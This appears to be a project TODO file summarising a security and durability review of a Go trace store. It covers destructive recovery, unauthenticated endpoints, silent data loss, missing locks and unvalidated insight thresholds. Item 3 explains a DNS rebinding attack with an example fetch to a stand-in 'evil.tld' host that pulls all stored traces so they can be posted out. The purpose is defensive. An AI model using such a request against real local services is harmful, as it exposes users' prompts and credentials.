fathom/TODO.md

# TODO

Ten items, synthesised from a six-expert review panel (empirical rigour,
security, storage/durability, applied ML, reliability, developer experience).
Each expert read this repo and `costslayer` at `main` and reported
independently; the findings below are the ones that survived cross-checking
against the code.

Ordered by irreversibility first — silent data loss and credential exposure
above correctness, correctness above polish. Every claim marked **verified** was
re-checked directly against the source, not taken on an expert's word.

---

### 1. `recoverTail` destroys the data it exists to protect

`internal/store/shard.go:107-155` walks frames from offset 0, breaks at the
first CRC mismatch, then unconditionally truncates:

```go
if crc32.ChecksumIEEE(body) != want {
    break // body landed partially, or the disk lied
}
good = end
}
if good < size { return f.Truncate(good) }
```

The comment at `shard.go:13-22` assumes the only bad chunk is the *tail*.
Nothing enforces that. Demonstrated with a probe on a scratch copy:

```
10 chunks written, file=2130 bytes, rows readable=10
after 1-bit flip in chunk 0, rows readable=0
after writer open (recoverTail): file=0 bytes (was 2130)
RESULT: recoverTail PERMANENTLY DELETED 2130 of 2130 bytes
```

Worse, `store.go:255-259` means a *read* query against a not-yet-opened old
shard goes through `OpenShard` → `recoverTail`, so browsing an old day in the UI
can trigger the deletion.

Only truncate when the first bad frame is the last frame. For interior damage,
log the offset, skip the frame and keep scanning so later chunks stay reachable
— or quarantine the shard to `.corrupt`. Also check the `n` returned by
`s.f.Write(frame)` at `shard.go:184`; a short write is currently ignored.

### 2. Everything is unauthenticated, on every interface, storing secrets in cleartext

**Verified:** `config.go:66` sets `c.Server.Addr = ":3000"` — empty host, i.e.
all interfaces. `Handler()` (`server.go:57-82`) wraps the mux in `logRequests`
and nothing else. A grep for `Bearer|Authorization` across `internal/` and
`cmd/` returns **nothing**; there is no auth primitive in the repository.

The README instructs users to set `OTEL_LOG_USER_PROMPTS=1`,
`OTEL_LOG_TOOL_CONTENT=1`, `OTEL_LOG_ASSISTANT_RESPONSES=1`. So the data
directory holds source code, file contents, shell output and — with high
probability — any key that passed through a session. Anyone who can reach port
3000 reads all of it via `/api/traces`, and gets a query engine for free via
`POST /api/query`.

There is no redaction anywhere (`grep -rni redact|scrub|encrypt` returns zero
hits outside fixtures), files are `0o644` in a `0o755` directory, and deletion
granularity is a whole day — so the answer to "I pasted a prod key into a
prompt" is `rm -rf` that day's traces.

Bind loopback by default; refuse a non-loopback bind without an explicit token;
require `Authorization` on `/api/*` and `/v1/*`; chmod to `0o600`/`0o700`; add a
credential-shape redactor on the ingest path; add `fathom purge --trace` /
`--grep`. The `[privacy]` section currently drops five identity *keys* while
writing every prompt verbatim, which reads as more protection than it is.

### 3. DNS rebinding drains the store from any web page the operator visits

No `Host` allow-list, no `Origin` check, no CSRF token — `grep` for any of them
in `internal/web/` returns nothing outside tests.

An attacker page on a 1-second-TTL domain that rebinds to `127.0.0.1` makes
`fetch('http://evil.tld:3000/api/traces?from=0&to=9e14')` **same-origin** by the
browser's rules, so the response is readable and the whole corpus is POSTed out.
Binding to loopback does not help; only Host validation does. This needs no
network adjacency at all — just a browser tab.

Ingest is separately CSRF-able today: `handleLogs` (`server.go:148-164`) reads
the body and unmarshals with no `Content-Type` check, so a `text/plain` form
post is a CORS-simple request that lands without preflight. Same for the
insights mutation endpoints, which take no token and in one case no body.

Reject requests whose `Host` is not in the configured set, reject foreign
`Origin`, and require `application/json` on every POST.

### 4. Failed flushes discard spans that were already acknowledged

`store.go:165-168` detaches the buffer before attempting any I/O:

```go
s.mu.Lock()
spans, logs := s.spanBuf, s.logBuf
s.spanBuf, s.logBuf = nil, nil
s.mu.Unlock()
```

Every write failure is `fail(err); continue` — nothing is ever put back. The
exporter was told `{"partialSuccess":{}}` and 200 OK a second earlier, so it
will never retry. Then `AddSpans` (`store.go:126-130`) hands the error to the
*next* caller and **clears it**, so one unrelated batch eats a 500 and the store
reports healthy again. `background()` logs nothing (the package imports no
logger at all). `Close()` discards the same way on shutdown.

Re-buffer unwritten rows under the mutex with a bounded cap, keep `flushErr`
sticky until a flush actually succeeds, log every failure with row counts, and
return an error *before* acknowledging when the buffer is over cap so the
exporter retries instead of the store silently eating the batch.

This compounds across the pipeline: costslayer's exporter discards the HTTP
status entirely, so fathom can reject everything and the sender will never know.
Fixing that side is the cheaper half.

### 5. Corruption, version mismatch and dropped spans are all indistinguishable from "no data"

Six separate error paths in `iterChunks` (`shard.go:208-239`) `return nil`:
CRC mismatch, decode error, implausible length, read error. `read.go:88-93` then
`continue`s per shard. In the probe above, `ScanSpans` returned `err == nil` with
zero rows against a file that had ten good chunks.

Two consequences. Interior bit rot makes every later chunk permanently invisible
while queries return 200 with a smaller `rows_scanned`. And `chunk.go:254-256`
rejects any `ver != chunkVersion`, so the day `chunkVersion` goes to 2, every
existing data directory decodes to nothing, silently — `recoverTail` only checks
CRC, not version, so it will not even complain.

Ingest has the same shape: `otlp.go:252-254` drops span-ID-less spans with
`continue` and no counter, while `otlpOK` always returns an empty
`partialSuccess` — the OTLP field that exists precisely to report rejections.
A body with the wrong shape decodes to zero spans and returns 200. And
`nanoToMicro` returns 0 on unparsable input, so `shardDate(0)` files the span
under `1970-01-01`, invisible to every default query and deleted by the first
retention sweep.

Thread errors out, count and report `Corrupt`/`Skipped`/`Rejected` in
`QueryStats` and `partialSuccess`, add an explicit backward-compat branch to
`DecodeChunk`, and never file a span under 1970.

### 6. Nothing stops two processes opening the same data directory

No lockfile anywhere — `grep -rn "Flock|flock|O_EXCL"` matches nothing.
`BlobFile` tracks the append offset in *process memory* (`blob.go:16-22`) and
assigns `off := b.size` at `blob.go:71`, while the file is opened `O_APPEND` so
the kernel writes at the real end:

```go
off := b.size
n, err := b.f.WriteString(s)
return BlobRef{Off: off, Len: uint32(n)}, nil
```

Two processes (a stray unit, a manual `fathom serve`, an overlapping container
restart) and process A records an offset where process B's bytes now live. The
chunk is valid, the CRC is correct, the ref is in range — and reading it returns
**another trace's text**. Silent content substitution, undetectable by any check
in the tree.

Take an exclusive lock on the data dir and fail startup with a clear message.
Derive the blob offset from the actual write position rather than a
process-local counter.

### 7. Durability gaps: no directory fsync, and retention closes handles readers hold

**No directory is ever fsynced** — only `blob.go:115` and `shard.go:190` sync
files. A new day's shard can have its contents synced while the directory entry
naming them is not, so a power cut leaves the day *absent* rather than corrupt,
and `ListShards` simply does not enumerate it.

Separately, `dropShard` (`store.go:419-432`) calls `sh.Close()` on a handle the
shared cache handed out, which `store.go:337` documents as something readers
must not close. Nothing refcounts. Probe output:

```
before evict: blob read = "THE-PROMPT-TEXT" err=<nil>
after evict, SAME held handle: err=... file already closed
post-evict scan: rows=0 (no error surfaced)
```

The hourly sweep firing while a trace-detail view is open makes the prompt
render empty. In the other direction, a query that reopens the file after the
map entry is deleted leaves a live handle to a deleted file and corrupts the
size accounting.

Add a `syncDir` helper on every create path; refcount shards with an explicit
`Release()`, unlink immediately and defer `Close()` to zero readers.

### 8. Bound query and decode memory

`LIMIT` is applied only after the whole result is materialised (`exec.go:616`).
One goroutine per shard, no cap on `a.rows`, one `*group` per distinct key in an
unbounded map, and every sample retained for percentiles (`exec.go:563-566`).
`SELECT p99(duration) FROM spans WHERE time >= 0 GROUP BY trace_id` passes the
time-range check and can be several GB on a year of traces. `handleQuery` passes
no context, so the 60s `WriteTimeout` kills the response, not the goroutines.

`chunk.go:298-303` pre-sizes slices from an untrusted count capped at
`maxRows*maxColumns` = 2^32 — roughly 36 GB of allocation from one frame before
a single attribute byte is read. `recoverTail` has the same shape at
`shard.go:141`.

Add a `maxGroups` cap and a truncated flag, cap rows at `q.Limit` where the
query allows it, use a bounded sketch for percentiles, semaphore the shard
fan-out, thread a deadline context through, and never pre-size from an untrusted
length beyond what the remaining buffer can hold.

Related: `config.go:71` sets `MaxBytes = 0` and `store.go:398` only evicts when
`MaxBytes > 0`, so size-based eviction is **off by default** — an unauthenticated
writer can fill the disk with a 30-day window to work in.

### 9. The insights findings have no null model and no precision measurement

Not one threshold in `internal/insights/` has been validated against labelled
data — `grep` for `precision|labeled|ground truth` returns one misleading
comment. The free parameters (`MinRuns:3`, `MinLen:3`, `PromptSimilarity:0.55`,
`embedSimilarity:0.82`, `RereadThreshold:3`, `MinCostUSD:0.50`) are tuned
against nothing, and all 40 tests are fixtures asserting the mechanism fires.

A faithful replication of `crystallize.go`'s miner on traces whose tool calls
are drawn **i.i.d. with no sequential structure** produced ~300 qualifying
findings at 150 traces, top one "the same 3 steps in 21 runs". The panel is
guaranteed to be full whether or not the user has a single real habit.

Specific defects behind that:
- **Cost is not a saving.** `crystallize.go:102` allocates trace cost uniformly
  across tool calls (false for agentic runs — cost scales with accumulated
  context), and four detectors attribute the *entire* trace. The UI renders it as
  "costing $X", which sends users to spend an hour recovering money that was
  never on the table.
- **No denominator.** `context_waste.go:258-272` `continue`s past successes
  before counting, so a failure *rate* is unknowable and `go test` failing 3 of
  500 reads identically to 3 of 3.
- **Severity measures window length.** `insights.go:360-368` thresholds on
  absolute cost/occurrences, so widening `WindowDays` promotes everything; the
  bare `occurrences >= 20` disjunct promotes with zero cost input.
- **`AddressableCost` is computed from the truncated evidence list** (capped at
  8), so the metric that exists to prevent overclaiming undercounts more as
  findings get stronger.
- **Threshold mismatch.** `MinOccurrences` is advertised to the client as the
  floor, but three detectors fire at n=2 and `Waste` counts calls, so one trace
  can produce a finding.

Add a within-trace permutation null with BH correction; split
`cost_observed_usd` from `cost_recoverable_usd`; compute failure rates against a
base rate; normalise severity to a rate; compute `AddressableCost` from full
trace IDs.

### 10. Make "working" distinguishable from "loaded but inert"

No `/healthz`, no `/readyz` (grep returns only test hits), and `/api/stats`
reports shard byte sizes only — no ingest counters, no last-ingest timestamp, no
error counts. `store.Open` (`store.go:97-101`) only calls `MkdirAll`, which
succeeds on an existing read-only directory, so fathom starts, logs `listening`,
accepts every POST with 200, and every flush fails into the silent void of item
4. Retention deletes days with no log at all. A failed insights analysis keeps
serving the previous result with `ready: true` and no timestamp rendered.

Add `/healthz` and `/readyz`, a startup write-probe that fails loudly, ingest
and flush counters plus `last_ingest_at` / `last_flush_error` on `/api/stats`,
eviction logging, and `stale: true` + `GeneratedAt` on the insights response.

The pattern already exists in this codebase and is worth copying: `LocalStatus`
(`analyzer.go:96-101`) distinguishes "a model is available" from "a model was
actually used". That is exactly the loaded-vs-inert discrimination missing
everywhere else.

---

## Notes

**`go test -race ./...` passes clean on all 10 packages.** That is worth stating
plainly because it is not evidence of durability: the suite never corrupts a
byte, never fails a write, and never races retention against a live reader.
Items 1, 4, 6 and 7 all live in that gap. Tests that inject those faults are
prerequisites for trusting the fixes.

**Two positives the panel checked and confirmed**, worth protecting: the web UI
has no XSS — `app.js` contains zero `innerHTML`/`eval`, every node goes through
`el()`'s `textContent`/`createTextNode`, and trace content is attacker-
influenceable and rendered safely anyway. And there is no dependency surface at
all: `go.mod` has zero requires. A future `innerHTML` in `app.js` would turn
item 3 into full store theft.

**One cross-project contradiction.** `context_waste.go:230` suggests splitting
long runs in two — which forfeits the prompt-cache prefix that costslayer's L3
exists to preserve. Acting on that finding can increase spend. Estimate the
cache-rebuild cost before emitting the suggestion.

**One documented guarantee the code does not keep.** `local.go:1-12` and
`config.go:46-52` promise insights data "never leaves the machine", but
`candidates()` puts `OLLAMA_HOST` and `FATHOM_LOCAL_MODEL_URL` *ahead* of the
localhost defaults with no loopback check — and what travels is up to six user
prompts, not a hash. Anyone with `OLLAMA_HOST` pointed at a GPU box silently
ships real prompts over plaintext HTTP. Either enforce loopback or correct the
comment. `GET /api/insights?from=&to=` also triggers on-demand full-store
analysis despite the comment above it promising the opposite.